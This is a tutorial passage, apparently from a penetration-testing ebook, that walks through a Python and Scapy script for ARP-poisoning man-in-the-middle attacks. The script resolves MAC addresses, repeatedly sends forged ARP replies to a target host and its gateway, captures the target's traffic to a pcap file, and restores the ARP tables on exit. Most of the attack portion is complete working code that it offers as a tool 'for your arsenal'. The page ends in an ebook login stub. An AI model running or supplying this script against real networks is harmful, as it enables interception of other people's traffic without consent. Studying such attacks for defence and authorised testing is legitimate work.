Revisiting ARP poisoning with Python and Scapy

Let's take a look at constructing a layer 2 ARP poisoning attack from the bottom up. Like before, the code here is a skeleton; with some clever Python wrapped around it, you have the potential to add a powerful tool to your arsenal. First, we bring in our imports and make some declarations:

#!/usr/bin/python
from scapy.all import *
import os
import sys
import threading
import signal
interface = "eth1"
target = "192.168.108.49"
gateway = "192.168.108.1"
packets = 1000
conf.iface = interface
conf.verb = 0

Check out those import statements—all of Scapy's power. We're familiar with os and threading, so let's look at sys and signal. The sys module is always available to us when we're Pythoning and it allows us to interact with the interpreter—in this case, we're just using it to exit Python. The signal module lets your script work with signals (in an IPC context). Signals are messages sent to processes or threads about an event: an exception or something like divide by zero. This gives our script the ability to handle signals.

Next, we define our interface, target IP, and gateway IP as strings. The number of packets to be sniffed is declared as an integer. conf belongs to Scapy; we're setting the interface with the interface variable we just declared, and we're setting verbosity to 0.

Now, let's dive into some functions:

def restore(gateway, gwmac_addr, target, targetmac_addr):
print " Restoring normal ARP mappings."
send(ARP(op = 2, psrc = gateway, pdst = target, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = gwmac_addr), count = 5)
send(ARP(op = 2, psrc = target, pdst = gateway, hwdst = "ff:ff:ff:ff:ff:ff", hwsrc = targetmac_addr), count = 5)
sys.exit(0)
def macgrab(ip_addr):
responses, unanswered = srp(Ether(dst = "ff:ff:ff:ff:ff:ff")/ARP(pdst = ip_addr), timeout = 2, retry = 10)
for s,r in responses:
return r[Ether].src
return None
def poison_target(gateway, gwmac_addr, target, targetmac_addr):
poison_target = ARP()
poison_target.op = 2
poison_target.psrc = gateway
poison_target.pdst = target
poison_target.hwdst = targetmac_addr
poison_gateway = ARP()
poison_gateway.op = 2
poison_gateway.psrc = target
poison_gateway.pdst = gateway
poison_gateway.hwdst = gwmac_addr
print " MitM ARP attack started."
while True:
try:
send(poison_target)
send(poison_gateway)
time.sleep(2)
except KeyboardInterrupt:
restore(gateway, gwmac_addr, target, targetmac_addr)
return

There's a lot of information here, so let's go step by step:

  • def restore() isn't how we attack the network; it's how we clean up our mess. Remember that ARP poisoning manipulates layer 2–layer 3 mappings on other nodes on the network. If you do this and disconnect, those tables stay the same until ARP messages dictate something else. We're using Scapy's send(ARP()) to restore healthy tables.
  • def macgrab() will take an IP address as an argument, then use Scapy's srp() to create ARP messages and record the response. macgrab() reads the MAC address with [Ether] and returns the value.
  • def poison_target() is the function where our deception is laid out. We prepare the parameters for a Scapy send() for both ends of the man-in-the-middle: poison_gateway and poison_target. Although the multiple lines take up more space on the page, our script is highly readable, and we can see the structure of the packets being constructed: poison_target and poison_gateway are both set as ARP() with op = 2—in other words, we're sending unsolicited ARP replies. The bait-and-switch is visible when the target's psrc is set to gateway, and the gateway's psrc is set to target (and the opposite for pdst). Our familiar while True loop is where the sending takes place. We see where signal handling comes in with except KeyboardInterrupt, which calls restore() so we can get cleaned up.

This is exciting, but we haven't even started; we've defined these functions, but nothing calls them yet. Let's get to work with the heavy lifting:

gwmac_addr = macgrab(gateway)
targetmac_addr = macgrab(target)
if gwmac_addr is None:
print " Unable to retrieve gateway MAC address. Are you connected?"
sys.exit(0)
else:
print " Gateway IP address: %s Gateway MAC address: %s " % (gateway, gwmac_addr)
if targetmac_addr is None:
print " Unable to retrieve target MAC address. Are you connected?"
sys.exit(0)
else:
print " Target IP address: %s Target MAC address: %s " % (target, targetmac_addr)
mitm_thread = threading.Thread(target = poison_target, args = (gateway, gwmac_addr, target, targetmac_addr))
mitm_thread.start()
try:
print " MitM sniffing started. Total packets to be sniffed: %d" % packets
bpf = "ip host %s" % target
cap_packets = sniff(count=packets, filter=bpf, iface=interface)
wrpcap('arpMITMresults.pcap', cap_packets)
restore(gateway, gwmac_addr, target, targetmac_addr)
except KeyboardInterrupt:
restore(gateway, gwmac_addr, target, targetmac_addr)
sys.exit(0)
  • We start out by calling macgrab() for the gateway and target IP addresses. Recall that macgrab() returns MAC addresses, which are then stored as gwmac_addr and targetmac_addr, respectively.
  • A possible return is None, so our if...else takes care of that: the value is printed to the screen, unless it's None, in which case the user is warned and we call sys.exit().
  • The threading.Thread() class defines poison_target() as our target function and passes the target and gateway information as arguments.
  • mitm_thread.start() gets the attack rolling, but as a thread. The program continues with a try statement.
  • This is where we set up our sniffer. This is an interesting use case for using Scapy from within Python; note that we construct a filter as a string variable called bpfsniff() is called with returned data popping up in memory as cap_packetswrpcap() creates a packet capture file in pcap format. Note that sniff() also passed the packet count as an argument, so what happens when this number is depleted? The code moves on to a restore() call. If a Ctrl + C input is received before that time, restore() is still called.

As you can see, the print statements written in this demo are basic. I encourage you to make it prettier to look at:

Use Wireshark or any packet sniffer to verify success. You wrote this from the bottom up, so knowing the targets' layer 2 and layer 3 addresses is just half the battle—you want to make sure your code is handling them correctly. With ARP, it would be easy to swap a source and destination:

Once I'm done with my session, I can quickly verify that my packet capture was saved as expected. Better yet, open it up in Wireshark and see what your sniffer picked up:

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.134.77.195